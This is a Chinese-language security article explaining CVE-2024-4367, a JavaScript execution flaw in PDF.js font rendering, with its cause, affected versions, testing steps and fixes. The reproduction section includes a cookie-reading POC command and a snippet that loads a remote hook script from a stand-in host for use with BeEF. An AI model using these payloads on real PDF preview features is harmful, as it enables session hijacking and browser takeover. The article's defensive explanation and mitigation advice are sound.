本章目录(8)On this page (8)
  1. 为什么值得单独写一篇
  2. 原理
  3. 复现
  4. 为什么这个比普通 PDF XSS 严重
  5. 测试方法
  6. 修复
  7. 一点延伸
  8. 参考
文章Articles

CVE-2024-4367:PDF.js 里的代码执行

不涉及 PDF 的 JavaScript 功能,问题出在字体渲染时把字形指令编译成了函数。

更新Updated 2026.10.25securitywebcve

为什么值得单独写一篇

这是少数几个「影响面极广、利用门槛极低、但很多人没意识到」的漏洞。

PDF.js 是 Firefox 内置的 PDF 阅读器,也被大量网站当作「在线预览 PDF」的组件用。凡是页面上有「预览附件」「查看合同」的地方,背后可能就是它。

影响版本:PDF.js < 4.2.67、pdfjs-dist < 4.2.67、react-pdf < 7.7.3 和 8.0.0–8.0.1。Firefox < 126 同样受影响。

原理

不是 PDF 里的 JavaScript 功能——那个默认是关的。

问题在字体渲染。PDF 可以内嵌各种格式的字体,对于 TrueType 这类现代格式,PDF.js 大多交给浏览器渲染;其他格式,它得自己把字形描述转换成页面上的曲线。

为了性能,每个字形会预先编译成一个路径生成函数:

if (this.isEvalSupported && FeatureTest.isEvalSupported) {
  const jsBuf = [];
  for (const current of cmds) {
    const args = current.args !== undefined ? current.args.join(",") : "";
    jsBuf.push("c.", current.cmd, "(", args, ");\n");
  }
  return (this.compiledGlyphs[character] = new Function("c", "size", jsBuf.join("")));
}

new Function 的第二个参数是函数体,函数体由 PDF 里的字形指令拼接而成。指令内容可控,函数体就可控。

构造一个字形指令里带 ); 和任意 JS 的 PDF,打开时就会执行。

复现

社区有现成的 POC 生成脚本,核心是构造一个带恶意字形的 PDF:

python3 poc.py malicious.pdf "alert(document.cookie)"

生成之后,用存在漏洞的 PDF.js 打开:

http://靶机/web/viewer.html

弹框就说明成了。

要验证「能执行任意代码」而不只是弹框,可以让它加载外部脚本:

const script = document.createElement('script');
script.src = 'http://your-host/hook.js';
document.head.appendChild(script);

配合 BeEF 之类的框架,能直接拿到浏览器控制权。

为什么这个比普通 PDF XSS 严重

普通的「PDF 里藏 JS」依赖阅读器主动执行 PDF 内嵌脚本,多数阅读器默认关闭,且执行环境是受限的。

这个漏洞执行在 PDF.js 的宿主页面上下文里——同源。也就是说,它能读到当前站点的 cookie、localStorage、发起带凭证的请求、读页面 DOM。

一个「预览附件」的功能,变成了存储型 XSS 的入口:攻击者上传一个恶意 PDF,管理员点开预览,会话就到手了。

测试方法

  1. 找 PDF 预览功能。上传附件的地方、合同/发票查看、在线简历。
  2. 看 PDF.js 版本。viewer.html 页面里通常有 pdfjsVersion,或者看加载的 pdf.mjs 文件路径。
  3. 版本低于 4.2.67,用 POC 生成一个 PDF 上传,打开看是否执行。

自建部署的好判断,用 CDN 引入的要确认 CDN 上的版本。

修复

升级到 4.2.67 及以上。react-pdf 升到 7.7.3 或 8.0.2。

如果暂时不能升级,可以在 PDF.js 初始化时关闭 eval:

pdfjsLib.GlobalWorkerOptions.isEvalSupported = false;

这会牺牲一点渲染性能,但能挡住这个漏洞。生产环境升级才是正解。

一点延伸

这个漏洞的形态值得记住:把不可信数据拼进代码字符串,再交给 new Function 或 eval。

前端世界里这种写法不少——模板引擎、表达式求值、动态样式生成。看到 new Function 就该停一下,问一句「这个参数从哪来」。

参考

  • 《【分析和实战】CVE-2024-4367 – PDF.js 中的任意 JavaScript 执行》,公众号 知攻善防实验室
  • Codean Labs 原始分析:codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js